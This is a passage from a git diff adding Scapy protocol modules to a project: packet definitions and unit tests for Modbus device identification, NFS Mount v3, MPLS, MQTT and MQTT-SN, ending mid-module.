ModbusPDU2B0EReadDeviceIdentificationRequest +raw(ModbusPDU2B0EReadDeviceIdentificationRequest()) == b'+\x0e\x01\x00' + += ModbusPDU2B0EReadDeviceIdentificationResponse +raw(ModbusPDU2B0EReadDeviceIdentificationResponse()) == b'+\x0e\x04\x01\x00\x00\x00' += ModbusPDU2B0EReadDeviceIdentificationResponse complete response +p = raw(ModbusPDU2B0EReadDeviceIdentificationResponse(objCount=2)/ModbusObjectId(id=0, value="Obj1")/ModbusObjectId(id=1, value="Obj2")) +assert(p == b'+\x0e\x04\x01\x00\x00\x02\x00\x04Obj1\x01\x04Obj2') += ModbusPDU2B0EReadDeviceIdentificationResponse dissection +p = ModbusPDU2B0EReadDeviceIdentificationResponse(b'+\x0e\x01\x83\x00\x00\x03\x00\x08Pymodbus\x01\x02PM\x02\x031.0') +assert(p.payload.payload.payload.id == 2) +assert(p.payload.payload.id == 1) +assert(p.payload.id == 0) + += ModbusPDU2B0EReadDeviceIdentificationError +raw(ModbusPDU2B0EReadDeviceIdentificationError()) == b'\xab\x01' diff --git a/libs/scapy/contrib/mount.py b/libs/scapy/contrib/mount.py new file mode 100755 index 0000000..06f278c --- /dev/null +++ b/libs/scapy/contrib/mount.py @@ -0,0 +1,117 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Lucas Preston +# This program is published under a GPLv2 license + +# scapy.contrib.description = NFS Mount v3 +# scapy.contrib.status = loads + +from scapy.contrib.oncrpc import RPC, RPC_Call +from scapy.packet import Packet, bind_layers +from scapy.fields import IntField, StrLenField, IntEnumField, PacketField, \ + ConditionalField, FieldListField +from scapy.contrib.nfs import File_Object + +mountstat3 = { + 0: 'MNT3_OK', + 1: 'MNT3ERR_PERM', + 2: 'MNT3ERR_NOENT', + 5: 'MNT3ERR_IO', + 13: 'MNT3ERR_ACCES', + 20: 'MNT3ERR_NOTDIR', + 22: 'MNT3ERR_INVAL', + 63: 'MNT3ERR_NAMETOOLONG', + 10004: 'MNT3ERR_NOTSUPP', + 10006: 'MNT3ERR_SERVERFAULT' +} + + +class Path(Packet): + name = 'Path' + fields_desc = [ + IntField('length', 0), + StrLenField('path', '', length_from=lambda pkt: pkt.length), + StrLenField('fill', '', length_from=lambda pkt: (4 - pkt.length) % 4) + ] + + def extract_padding(self, s): + return '', s + + def set(self, path, length=None, fill=None): + if length is None: + length = len(path) + if fill is None: + fill = b'\x00' * ((4 - len(path)) % 4) + self.length = length + self.path = path + self.fill = fill + + +class NULL_Call(Packet): + name = 'MOUNT NULL Call' + fields_desc = [] + + +class NULL_Reply(Packet): + name = 'MOUNT NULL Reply' + fields_desc = [] + + +bind_layers(RPC, NULL_Call, mtype=0) +bind_layers(RPC, NULL_Reply, mtype=1) +bind_layers(RPC_Call, NULL_Call, program=100005, procedure=0, pversion=3) + + +class MOUNT_Call(Packet): + name = 'MOUNT Call' + fields_desc = [ + PacketField('path', Path(), Path) + ] + + +class MOUNT_Reply(Packet): + name = 'MOUNT Reply' + fields_desc = [ + IntEnumField('status', 0, mountstat3), + ConditionalField( + PacketField('filehandle', File_Object(), File_Object), + lambda pkt: pkt.status == 0 + ), + ConditionalField(IntField('flavors', 0), lambda pkt: pkt.status == 0), + ConditionalField( + FieldListField( + 'flavor', None, IntField('', None), + count_from=lambda pkt: pkt.flavors + ), + lambda pkt: pkt.status == 0 + ) + ] + + def get_filehandle(self): + if self.status == 0: + return self.filehandle.fh + return None + + +bind_layers(RPC, MOUNT_Call, mtype=0) +bind_layers(RPC, MOUNT_Reply, mtype=1) +bind_layers(RPC_Call, MOUNT_Call, program=100005, procedure=1, pversion=3) + + +class UNMOUNT_Call(Packet): + name = 'UNMOUNT Call' + fields_desc = [ + PacketField('path', Path(), Path) + ] + + +class UNMOUNT_Reply(Packet): + name = 'UNMOUNT Reply' + fields_desc = [] + + +bind_layers(RPC, UNMOUNT_Call, mtype=0) +bind_layers(RPC, UNMOUNT_Reply, mtype=1) +bind_layers( + RPC_Call, UNMOUNT_Call, program=100005, procedure=3, pversion=3 +) diff --git a/libs/scapy/contrib/mpls.py b/libs/scapy/contrib/mpls.py new file mode 100755 index 0000000..b421b70 --- /dev/null +++ b/libs/scapy/contrib/mpls.py @@ -0,0 +1,74 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = Multiprotocol Label Switching (MPLS) +# scapy.contrib.status = loads + +from scapy.packet import Packet, bind_layers, Padding +from scapy.fields import BitField, ByteField, ShortField +from scapy.layers.inet import IP, UDP +from scapy.contrib.bier import BIER +from scapy.layers.inet6 import IPv6 +from scapy.layers.l2 import Ether, GRE +from scapy.compat import orb + + +class EoMCW(Packet): + name = "EoMCW" + fields_desc = [BitField("zero", 0, 4), + BitField("reserved", 0, 12), + ShortField("seq", 0)] + + def guess_payload_class(self, payload): + if len(payload) >= 1: + return Ether + return Padding + + +class MPLS(Packet): + name = "MPLS" + fields_desc = [BitField("label", 3, 20), + BitField("cos", 0, 3), + BitField("s", 1, 1), + ByteField("ttl", 0)] + + def guess_payload_class(self, payload): + if len(payload) >= 1: + if not self.s: + return MPLS + ip_version = (orb(payload[0]) >> 4) & 0xF + if ip_version == 4: + return IP + elif ip_version == 5: + return BIER + elif ip_version == 6: + return IPv6 + else: + if orb(payload[0]) == 0 and orb(payload[1]) == 0: + return EoMCW + else: + return Ether + return Padding + + +bind_layers(Ether, MPLS, type=0x8847) +bind_layers(IP, MPLS, proto=137) +bind_layers(IPv6, MPLS, nh=137) +bind_layers(UDP, MPLS, dport=6635) +bind_layers(GRE, MPLS, proto=0x8847) +bind_layers(MPLS, MPLS, s=0) +bind_layers(MPLS, IP, label=0) # IPv4 Explicit NULL +bind_layers(MPLS, IPv6, label=2) # IPv6 Explicit NULL +bind_layers(MPLS, EoMCW) +bind_layers(EoMCW, Ether, zero=0, reserved=0) diff --git a/libs/scapy/contrib/mpls.uts b/libs/scapy/contrib/mpls.uts new file mode 100755 index 0000000..f07a9fd --- /dev/null +++ b/libs/scapy/contrib/mpls.uts @@ -0,0 +1,33 @@ +# MPLS unit tests +# +# Type the following command to launch start the tests: +# $ test/run_tests -P "load_contrib('mpls')" -t scapy/contrib/mpls.uts + ++ MPLS + += Build & dissect - IPv4 +if WINDOWS: + route_add_loopback() + +s = raw(Ether(src="00:01:02:04:05")/MPLS()/IP()) +assert(s == b'\xff\xff\xff\xff\xff\xff\x00\x01\x02\x04\x05\x00\x88G\x00\x00\x01\x00E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01') + +p = Ether(s) +assert(MPLS in p and IP in p) + + += Build & dissect - IPv6 +s = raw(Ether(src="00:01:02:04:05")/MPLS(s=0)/MPLS()/IPv6()) +assert(s == b'\xff\xff\xff\xff\xff\xff\x00\x01\x02\x04\x05\x00\x88G\x00\x000\x00\x00\x00!\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') + +p = Ether(s) +assert(IPv6 in p and isinstance(p[MPLS].payload, MPLS)) + += Association on IP and IPv6 +p = IP()/MPLS() +p = IP(raw(p)) +assert p[IP].proto == 137 + +p2 = IPv6()/MPLS() +p2 = IPv6(raw(p2)) +assert p2[IPv6].nh == 137 diff --git a/libs/scapy/contrib/mqtt.py b/libs/scapy/contrib/mqtt.py new file mode 100755 index 0000000..3406291 --- /dev/null +++ b/libs/scapy/contrib/mqtt.py @@ -0,0 +1,311 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Santiago Hernandez Ramos +# This program is published under GPLv2 license + +# scapy.contrib.description = Message Queuing Telemetry Transport (MQTT) +# scapy.contrib.status = loads + +from scapy.packet import Packet, bind_layers +from scapy.fields import FieldLenField, BitEnumField, StrLenField, \ + ShortField, ConditionalField, ByteEnumField, ByteField, PacketListField +from scapy.layers.inet import TCP +from scapy.error import Scapy_Exception +from scapy.compat import orb, chb +from scapy.volatile import RandNum +from scapy.config import conf + + +# CUSTOM FIELDS +# source: http://stackoverflow.com/a/43717630 +class VariableFieldLenField(FieldLenField): + def addfield(self, pkt, s, val): + val = self.i2m(pkt, val) + data = [] + while val: + if val > 127: + data.append(val & 127) + val //= 128 + else: + data.append(val) + lastoffset = len(data) - 1 + data = b"".join(chb(val | (0 if i == lastoffset else 128)) + for i, val in enumerate(data)) + return s + data + if len(data) > 3: + raise Scapy_Exception("%s: malformed length field" % + self.__class__.__name__) + # If val is None / 0 + return s + b"\x00" + + def getfield(self, pkt, s): + value = 0 + for offset, curbyte in enumerate(s): + curbyte = orb(curbyte) + value += (curbyte & 127) * (128 ** offset) + if curbyte & 128 == 0: + return s[offset + 1:], value + if offset > 2: + raise Scapy_Exception("%s: malformed length field" % + self.__class__.__name__) + + def randval(self): + return RandVariableFieldLen() + + +class RandVariableFieldLen(RandNum): + def __init__(self): + RandNum.__init__(self, 0, 268435455) + + +# LAYERS +CONTROL_PACKET_TYPE = { + 1: 'CONNECT', + 2: 'CONNACK', + 3: 'PUBLISH', + 4: 'PUBACK', + 5: 'PUBREC', + 6: 'PUBREL', + 7: 'PUBCOMP', + 8: 'SUBSCRIBE', + 9: 'SUBACK', + 10: 'UNSUBSCRIBE', + 11: 'UNSUBACK', + 12: 'PINGREQ', + 13: 'PINGRESP', + 14: 'DISCONNECT', + 15: 'AUTH' # Added in v5.0 +} + + +QOS_LEVEL = { + 0: 'At most once delivery', + 1: 'At least once delivery', + 2: 'Exactly once delivery' +} + + +# source: http://stackoverflow.com/a/43722441 +class MQTT(Packet): + name = "MQTT fixed header" + fields_desc = [ + BitEnumField("type", 1, 4, CONTROL_PACKET_TYPE), + BitEnumField("DUP", 0, 1, {0: 'Disabled', + 1: 'Enabled'}), + BitEnumField("QOS", 0, 2, QOS_LEVEL), + BitEnumField("RETAIN", 0, 1, {0: 'Disabled', + 1: 'Enabled'}), + # Since the size of the len field depends on the next layer, we need + # to "cheat" with the length_of parameter and use adjust parameter to + # calculate the value. + VariableFieldLenField("len", None, length_of="len", + adjust=lambda pkt, x: len(pkt.payload),), + ] + + +PROTOCOL_LEVEL = { + 3: 'v3.1', + 4: 'v3.1.1', + 5: 'v5.0' +} + + +class MQTTConnect(Packet): + name = "MQTT connect" + fields_desc = [ + FieldLenField("length", None, length_of="protoname"), + StrLenField("protoname", "", + length_from=lambda pkt: pkt.length), + ByteEnumField("protolevel", 5, PROTOCOL_LEVEL), + BitEnumField("usernameflag", 0, 1, {0: 'Disabled', + 1: 'Enabled'}), + BitEnumField("passwordflag", 0, 1, {0: 'Disabled', + 1: 'Enabled'}), + BitEnumField("willretainflag", 0, 1, {0: 'Disabled', + 1: 'Enabled'}), + BitEnumField("willQOSflag", 0, 2, QOS_LEVEL), + BitEnumField("willflag", 0, 1, {0: 'Disabled', + 1: 'Enabled'}), + BitEnumField("cleansess", 0, 1, {0: 'Disabled', + 1: 'Enabled'}), + BitEnumField("reserved", 0, 1, {0: 'Disabled', + 1: 'Enabled'}), + ShortField("klive", 0), + FieldLenField("clientIdlen", None, length_of="clientId"), + StrLenField("clientId", "", + length_from=lambda pkt: pkt.clientIdlen), + # Payload with optional fields depending on the flags + ConditionalField(FieldLenField("wtoplen", None, length_of="willtopic"), + lambda pkt: pkt.willflag == 1), + ConditionalField(StrLenField("willtopic", "", + length_from=lambda pkt: pkt.wtoplen), + lambda pkt: pkt.willflag == 1), + ConditionalField(FieldLenField("wmsglen", None, length_of="willmsg"), + lambda pkt: pkt.willflag == 1), + ConditionalField(StrLenField("willmsg", "", + length_from=lambda pkt: pkt.wmsglen), + lambda pkt: pkt.willflag == 1), + ConditionalField(FieldLenField("userlen", None, length_of="username"), + lambda pkt: pkt.usernameflag == 1), + ConditionalField(StrLenField("username", "", + length_from=lambda pkt: pkt.userlen), + lambda pkt: pkt.usernameflag == 1), + ConditionalField(FieldLenField("passlen", None, length_of="password"), + lambda pkt: pkt.passwordflag == 1), + ConditionalField(StrLenField("password", "", + length_from=lambda pkt: pkt.passlen), + lambda pkt: pkt.passwordflag == 1), + ] + + +RETURN_CODE = { + 0: 'Connection Accepted', + 1: 'Unacceptable protocol version', + 2: 'Identifier rejected', + 3: 'Server unavailable', + 4: 'Bad username/password', + 5: 'Not authorized' +} + + +class MQTTConnack(Packet): + name = "MQTT connack" + fields_desc = [ + ByteField("sessPresentFlag", 0), + ByteEnumField("retcode", 0, RETURN_CODE), + # this package has not payload + ] + + +class MQTTPublish(Packet): + name = "MQTT publish" + fields_desc = [ + FieldLenField("length", None, length_of="topic"), + StrLenField("topic", "", + length_from=lambda pkt: pkt.length), + ConditionalField(ShortField("msgid", None), + lambda pkt: (pkt.underlayer.QOS == 1 or + pkt.underlayer.QOS == 2)), + StrLenField("value", "", + length_from=lambda pkt: (pkt.underlayer.len - + pkt.length - 2)), + ] + + +class MQTTPuback(Packet): + name = "MQTT puback" + fields_desc = [ + ShortField("msgid", None), + ] + + +class MQTTPubrec(Packet): + name = "MQTT pubrec" + fields_desc = [ + ShortField("msgid", None), + ] + + +class MQTTPubrel(Packet): + name = "MQTT pubrel" + fields_desc = [ + ShortField("msgid", None), + ] + + +class MQTTPubcomp(Packet): + name = "MQTT pubcomp" + fields_desc = [ + ShortField("msgid", None), + ] + + +class MQTTSubscribe(Packet): + name = "MQTT subscribe" + fields_desc = [ + ShortField("msgid", None), + FieldLenField("length", None, length_of="topic"), + StrLenField("topic", "", + length_from=lambda pkt: pkt.length), + ByteEnumField("QOS", 0, QOS_LEVEL), + ] + + +ALLOWED_RETURN_CODE = { + 0: 'Success', + 1: 'Success', + 2: 'Success', + 128: 'Failure' +} + + +class MQTTSuback(Packet): + name = "MQTT suback" + fields_desc = [ + ShortField("msgid", None), + ByteEnumField("retcode", None, ALLOWED_RETURN_CODE) + ] + + +class MQTTTopic(Packet): + name = "MQTT topic" + fields_desc = [ + FieldLenField("len", None, length_of="topic"), + StrLenField("topic", "", length_from=lambda pkt:pkt.len) + ] + + def guess_payload_class(self, payload): + return conf.padding_layer + + +def cb_topic(pkt, lst, cur, remain): + """ + Decode the remaining bytes as a MQTT topic + """ + if len(remain) > 3: + return MQTTTopic + else: + return conf.raw_layer + + +class MQTTUnsubscribe(Packet): + name = "MQTT unsubscribe" + fields_desc = [ + ShortField("msgid", None), + PacketListField("topics", [], next_cls_cb=cb_topic) + ] + + +class MQTTUnsuback(Packet): + name = "MQTT unsuback" + fields_desc = [ + ShortField("msgid", None) + ] + + +# LAYERS BINDINGS + +bind_layers(TCP, MQTT, sport=1883) +bind_layers(TCP, MQTT, dport=1883) +bind_layers(MQTT, MQTTConnect, type=1) +bind_layers(MQTT, MQTTConnack, type=2) +bind_layers(MQTT, MQTTPublish, type=3) +bind_layers(MQTT, MQTTPuback, type=4) +bind_layers(MQTT, MQTTPubrec, type=5) +bind_layers(MQTT, MQTTPubrel, type=6) +bind_layers(MQTT, MQTTPubcomp, type=7) +bind_layers(MQTT, MQTTSubscribe, type=8) +bind_layers(MQTT, MQTTSuback, type=9) +bind_layers(MQTT, MQTTUnsubscribe, type=10) +bind_layers(MQTT, MQTTUnsuback, type=11) +bind_layers(MQTTConnect, MQTT) +bind_layers(MQTTConnack, MQTT) +bind_layers(MQTTPublish, MQTT) +bind_layers(MQTTPuback, MQTT) +bind_layers(MQTTPubrec, MQTT) +bind_layers(MQTTPubrel, MQTT) +bind_layers(MQTTPubcomp, MQTT) +bind_layers(MQTTSubscribe, MQTT) +bind_layers(MQTTSuback, MQTT) +bind_layers(MQTTUnsubscribe, MQTT) +bind_layers(MQTTUnsuback, MQTT) diff --git a/libs/scapy/contrib/mqtt.uts b/libs/scapy/contrib/mqtt.uts new file mode 100755 index 0000000..843e0ed --- /dev/null +++ b/libs/scapy/contrib/mqtt.uts @@ -0,0 +1,128 @@ +# MQTT layer unit tests +# Copyright (C) Santiago Hernandez Ramos +# +# Type the following command to launch start the tests: +# $ test/run_tests -P "load_contrib('mqtt')" -t scapy/contrib/mqtt.uts + ++ Syntax check += Import the MQTT layer +from scapy.contrib.mqtt import * + + ++ MQTT protocol test + += MQTTPublish, packet instantiation +p = MQTT()/MQTTPublish(topic='test1',value='test2') +assert(p.type == 3) +assert(p.topic == b'test1') +assert(p.value == b'test2') +assert(p.len == None) +assert(p.length == None) + += Fixed header and MQTTPublish, packet dissection +s = b'0\n\x00\x04testtest' +publish = MQTT(s) +assert(publish.type == 3) +assert(publish.QOS == 0) +assert(publish.DUP == 0) +assert(publish.RETAIN == 0) +assert(publish.len == 10) +assert(publish[MQTTPublish].length == 4) +assert(publish[MQTTPublish].topic == b'test') +assert(publish[MQTTPublish].value == b'test') + + += MQTTConnect, packet instantiation +c = MQTT()/MQTTConnect(clientIdlen=5, clientId='newid') +assert(c.type == 1) +assert(c.clientId == b'newid') +assert(c.clientIdlen == 5) + += MQTTConnect, packet dissection +s = b'\x10\x1f\x00\x06MQIsdp\x03\x02\x00<\x00\x11mosqpub/1440-kali' +connect = MQTT(s) +assert(connect.length == 6) +assert(connect.protoname == b'MQIsdp') +assert(connect.protolevel == 3) +assert(connect.usernameflag == 0) +assert(connect.passwordflag == 0) +assert(connect.willretainflag == 0) +assert(connect.willQOSflag == 0) +assert(connect.willflag == 0) +assert(connect.cleansess == 1) +assert(connect.reserved == 0) +assert(connect.klive == 60) +assert(connect.clientIdlen == 17) +assert(connect.clientId == b'mosqpub/1440-kali') + + +=MQTTConnack, packet instantiation +ck = MQTT()/MQTTConnack(sessPresentFlag=1,retcode=0) +assert(ck.type == 2) +assert(ck.sessPresentFlag == 1) +assert(ck.retcode == 0) + += MQTTConnack, packet dissection +s = b' \x02\x00\x00' +connack = MQTT(s) +assert(connack.sessPresentFlag == 0) +assert(connack.retcode == 0) + + += MQTTSubscribe, packet instantiation +sb = MQTT()/MQTTSubscribe(msgid=1,topic='newtopic',QOS=0,length=0) +assert(sb.type == 8) +assert(sb.msgid == 1) +assert(sb.topic == b'newtopic') +assert(sb.length == 0) +assert(sb[MQTTSubscribe].QOS == 0) + += MQTTSubscribe, packet dissection +s = b'\x82\t\x00\x01\x00\x04test\x00' +subscribe = MQTT(s) +assert(subscribe.msgid == 1) +assert(subscribe.length == 4) +assert(subscribe.topic == b'test') +assert(subscribe.QOS == 1) + + += MQTTSuback, packet instantiation +sk = MQTT()/MQTTSuback(msgid=1, retcode=0) +assert(sk.type == 9) +assert(sk.msgid == 1) +assert(sk.retcode == 0) + += MQTTSuback, packet dissection +s = b'\x90\x03\x00\x01\x00' +suback = MQTT(s) +assert(suback.msgid == 1) +assert(suback.retcode == 0) + + += MQTTPubrec, packet instantiation +pc = MQTT()/MQTTPubrec(msgid=1) +assert(pc.type == 5) +assert(pc.msgid == 1) + += MQTTPubrec packet dissection +s = b'P\x02\x00\x01' +pubrec = MQTT(s) +assert(pubrec.msgid == 1) + += MQTTPublish, long value +p = MQTT()/MQTTPublish(topic='test1',value='a'*200) +assert(str(p)) +assert(p.type == 3) +assert(p.topic == b'test1') +assert(p.value == b'a'*200) +assert(p.len == None) +assert(p.length == None) + += MQTT without payload +p = MQTT() +assert(bytes(p) == b'\x10\x00') + += MQTT RandVariableFieldLen +assert(type(MQTT().fieldtype['len'].randval()) == RandVariableFieldLen) +assert(type(MQTT().fieldtype['len'].randval() + 0) == int) + diff --git a/libs/scapy/contrib/mqttsn.py b/libs/scapy/contrib/mqttsn.py new file mode 100755 index 0000000..6d3431d --- /dev/null +++ b/libs/scapy/contrib/mqttsn.py @@ -0,0 +1,469 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) 2019 Freie Universitaet Berlin +# This program is published under GPLv2 license +# +# Specification: +# http://www.mqtt.org/new/wp-content/uploads/2009/06/MQTT-SN_spec_v1.2.pdf + +# scapy.contrib.description = MQTT for Sensor Networks (MQTT-SN) +# scapy.contrib.status = loads + +from scapy.packet import Packet, bind_layers, bind_bottom_up +from scapy.fields import BitField, BitEnumField, ByteField, ByteEnumField, \ + ConditionalField, FieldLenField, ShortField, StrFixedLenField, \ + StrLenField, XByteEnumField +from scapy.layers.inet import UDP +from scapy.error import Scapy_Exception +from scapy.compat import chb, orb +from scapy.volatile import RandNum +import struct + + +# Constants +ADVERTISE = 0x00 +SEARCHGW = 0x01 +GWINFO = 0x02 +CONNECT = 0x04 +CONNACK = 0x05 +WILLTOPICREQ = 0x06 +WILLTOPIC = 0x07 +WILLMSGREQ = 0x08 +WILLMSG = 0x09 +REGISTER = 0x0a +REGACK = 0x0b +PUBLISH = 0x0c +PUBACK = 0x0d +PUBCOMP = 0x0e +PUBREC = 0x0f +PUBREL = 0x10 +SUBSCRIBE = 0x12 +SUBACK = 0x13 +UNSUBSCRIBE = 0x14 +UNSUBACK = 0x15 +PINGREQ = 0x16 +PINGRESP = 0x17 +DISCONNECT = 0x18 +WILLTOPICUPD = 0x1a +WILLTOPICRESP = 0x1b +WILLMSGUPD = 0x1c +WILLMSGRESP = 0x1d +ENCAPS_MSG = 0xfe + +QOS_0 = 0b00 +QOS_1 = 0b01 +QOS_2 = 0b10 +QOS_NEG1 = 0b11 + +TID_NORMAL = 0b00 +TID_PREDEF = 0b01 +TID_SHORT = 0b10 +TID_RESVD = 0b11 + + +ACCEPTED = 0x00 +REJ_CONJ = 0x01 +REJ_TID = 0x02 +REJ_NOTSUP = 0x03 + + +# Custom fields +class VariableFieldLenField(FieldLenField): + """ + MQTT-SN length field either has 1 byte for values [0x02, 0xff] or 3 bytes + for values [0x0100, 0xffff]. If the first byte is 0x01 the length value + comes in network byte-order in the next 2 bytes. MQTT-SN packets are at + least 2 bytes long (length field + type field). + """ + def addfield(self, pkt, s, val): + val = self.i2m(pkt, val) + if (val < 2) or (val > 0xffff): + raise Scapy_Exception("%s: invalid length field value" % + self.__class__.__name__) + elif val > 0xff: + return s + b"\x01" + struct.pack("!H", val) + else: + return s + chb(val) + + def getfield(self, pkt, s): + if orb(s[0]) == 0x01: + if len(s) < 3: + raise Scapy_Exception("%s: malformed length field" % + self.__class__.__name__) + return s[3:], (orb(s[1]) << 8) | orb(s[2]) + else: + return s[1:], orb(s[0]) + + def randval(self): + return RandVariableFieldLen() + + def __init__(self, *args, **kwargs): + super(VariableFieldLenField, self).__init__(*args, **kwargs) + + +class RandVariableFieldLen(RandNum): + def __init__(self): + super(RandVariableFieldLen, self).__init__(0, 0xffff) + + +# Layers +PACKET_TYPE = { + ADVERTISE: "ADVERTISE", + SEARCHGW: "SEARCHGW", + GWINFO: "GWINFO", + CONNECT: "CONNECT", + CONNACK: "CONNACK", + WILLTOPICREQ: "WILLTOPICREQ", + WILLTOPIC: "WILLTOPIC", + WILLMSGREQ: "WILLMSGREQ", + WILLMSG: "WILLMSG", + REGISTER: "REGISTER", + REGACK: "REGACK", + PUBLISH: "PUBLISH", + PUBACK: "PUBACK", + PUBCOMP: "PUBCOMP", + PUBREC: "PUBREC", + PUBREL: "PUBREL", + SUBSCRIBE: "SUBSCRIBE", + SUBACK: "SUBACK", + UNSUBSCRIBE: "UNSUBSCRIBE", + UNSUBACK: "UNSUBACK", + PINGREQ: "PINGREQ", + PINGRESP: "PINGRESP", + DISCONNECT: "DISCONNECT", + WILLTOPICUPD: "WILLTOPICUPD", + WILLTOPICRESP: "WILLTOPICRESP", + WILLMSGUPD: "WILLMSGUPD", + WILLMSGRESP: "WILLMSGRESP", + ENCAPS_MSG: "Encapsulated message", +} + + +QOS_LEVELS = { + QOS_0: 'Fire and Forget', + QOS_1: 'Acknowledged deliver', + QOS_2: 'Assured Delivery', + QOS_NEG1: 'No Connection required', +} + + +TOPIC_ID_TYPES = { + TID_NORMAL: 'Normal ID', + TID_PREDEF: 'Pre-defined ID', + TID_SHORT: 'Short Topic Name', + TID_RESVD: 'Reserved', +} + + +RETURN_CODES = { + ACCEPTED: "Accepted", + REJ_CONJ: "Rejected: congestion", + REJ_TID: "Rejected: invalid topic ID", + REJ_NOTSUP: "Rejected: not supported", +} + + +FLAG_FIELDS = [ + BitField("dup", 0, 1), + BitEnumField("qos", QOS_0, 2, QOS_LEVELS), + BitField("retain", 0, 1), + BitField("will", 0, 1), + BitField("cleansess", 0, 1), + BitEnumField("tid_type", TID_NORMAL, 2, TOPIC_ID_TYPES), +] + + +def _mqttsn_length_from(size_until): + def fun(pkt): + if (hasattr(pkt.underlayer, "len")): + if pkt.underlayer.len > 0xff: + return pkt.underlayer.len - size_until - 4 + elif (pkt.underlayer.len > 1) and (pkt.underlayer.len < 0xffff): + return pkt.underlayer.len - size_until - 2 + # assume string to be of length 0 + return len(pkt.payload) - size_until + 1 + return fun + + +def _mqttsn_len_adjust(pkt, x): + res = x + len(pkt.payload) + if (pkt.type == DISCONNECT) and \ + (getattr(pkt.payload, "duration", None) is None): + res -= 2 # duration is optional with DISCONNECT + elif (pkt.type == ENCAPS_MSG) and \ + (getattr(pkt.payload, "w_node_id", None) is not None): + res = x + len(pkt.payload.w_node_id) + 1 + if res > 0xff: + res += 2 + return res + + +class MQTTSN(Packet): + name = "MQTT-SN header" + fields_desc = [ + # Since the size of the len field depends on the next layer, we + # need to "cheat" with the length_of parameter and use adjust + # parameter to calculate the value. + VariableFieldLenField("len", None, length_of="len", + adjust=_mqttsn_len_adjust), + XByteEnumField("type", 0, PACKET_TYPE), + ] + + +class MQTTSNAdvertise(Packet): + name = "MQTT-SN advertise gateway" + fields_desc = [ + ByteField("gw_id", 0), + ShortField("duration", 0), + ] + + +class MQTTSNSearchGW(Packet): + name = "MQTT-SN search gateway" + fields_desc = [ + ByteField("radius", 0), + ] + + +class MQTTSNGwInfo(Packet): + name = "MQTT-SN gateway info" + fields_desc = [ + ByteField("gw_id", 0), + StrLenField("gw_addr", "", length_from=_mqttsn_length_from(1)), + ] + + +class MQTTSNConnect(Packet): + name = "MQTT-SN connect command" + fields_desc = FLAG_FIELDS + [ + ByteField("prot_id", 1), + ShortField("duration", 0), + StrLenField("client_id", "", length_from=_mqttsn_length_from(4)), + ] + + +class MQTTSNConnack(Packet): + name = "MQTT-SN connect ACK" + fields_desc = [ + ByteEnumField("return_code", ACCEPTED, RETURN_CODES), + ] + + +class MQTTSNWillTopicReq(Packet): + name = "MQTT-SN will topic request" + + +class MQTTSNWillTopic(Packet): + name = "MQTT-SN will topic" + fields_desc = FLAG_FIELDS + [ + StrLenField("will_topic", "", length_from=_mqttsn_length_from(1)), + ] + + +class MQTTSNWillMsgReq(Packet): + name = "MQTT-SN will message request" + + +class MQTTSNWillMsg(Packet): + name = "MQTT-SN will message" + fields_desc = [ + StrLenField("will_msg", "", length_from=_mqttsn_length_from(0)) + ] + + +class MQTTSNRegister(Packet): + name = "MQTT-SN register" + fields_desc = [ + ShortField("tid", 0), + ShortField("mid", 0), + StrLenField("topic_name", "", length_from=_mqttsn_length_from(4)), + ] + + +class MQTTSNRegack(Packet): + name = "MQTT-SN register ACK" + fields_desc = [ + ShortField("tid", 0), + ShortField("mid", 0), + ByteEnumField("return_code", ACCEPTED, RETURN_CODES), + ] + + +class MQTTSNPublish(Packet): + name = "MQTT-SN publish message" + fields_desc = FLAG_FIELDS + [ + ShortField("tid", 0), + ShortField("mid", 0), + StrLenField("data", "", length_from=_mqttsn_length_from(5)), + ] + + +class MQTTSNPuback(Packet): + name = "MQTT-SN publish ACK" + fields_desc = [ + ShortField("tid", 0), + ShortField("mid", 0), + ByteEnumField("return_code", ACCEPTED, RETURN_CODES), + ] + + +class MQTTSNPubcomp(Packet): + name = "MQTT-SN publish complete" + fields_desc = [ + ShortField("mid", 0), + ] + + +class MQTTSNPubrec(Packet): + name = "MQTT-SN publish received" + fields_desc = [ + ShortField("mid", 0), + ] + + +class MQTTSNPubrel(Packet): + name = "MQTT-SN publish release" + fields_desc = [ + ShortField("mid", 0), + ] + + +class MQTTSNSubscribe(Packet): + name = "MQTT-SN subscribe request" + fields_desc = FLAG_FIELDS + [ + ShortField("mid", 0), + ConditionalField(ShortField("tid", None), + lambda pkt: pkt.tid_type == 0b01), + ConditionalField(StrFixedLenField("short_topic", None, length=2), + lambda pkt: pkt.tid_type == 0b10), + ConditionalField(StrLenField("topic_name", None, + length_from=_mqttsn_length_from(3)), + lambda pkt: pkt.tid_type not in [0b01, 0b10]), + ] + + +class MQTTSNSuback(Packet): + name = "MQTT-SN subscribe ACK" + fields_desc = FLAG_FIELDS + [ + ShortField("tid", 0), + ShortField("mid", 0), + ByteEnumField("return_code", ACCEPTED, RETURN_CODES), + ] + + +class MQTTSNUnsubscribe(Packet): + name = "MQTT-SN unsubscribe request" + fields_desc = FLAG_FIELDS + [ + ShortField("mid", 0), + ConditionalField(ShortField("tid", None), + lambda pkt: pkt.tid_type == 0b01), + ConditionalField(StrFixedLenField("short_topic", None, length=2), + lambda pkt: pkt.tid_type == 0b10), + ConditionalField(StrLenField("topic_name", None, + length_from=_mqttsn_length_from(3)), + lambda pkt: pkt.tid_type not in [0b01, 0b10]), + ] + + +class MQTTSNUnsuback(Packet): + name = "MQTT-SN unsubscribe ACK" + fields_desc = [ + ShortField("mid", 0), + ] + + +class MQTTSNPingReq(Packet): + name = "MQTT-SN ping request" + fields_desc = [ + StrLenField("client_id", "", length_from=_mqttsn_length_from(0)), + ] + + +class 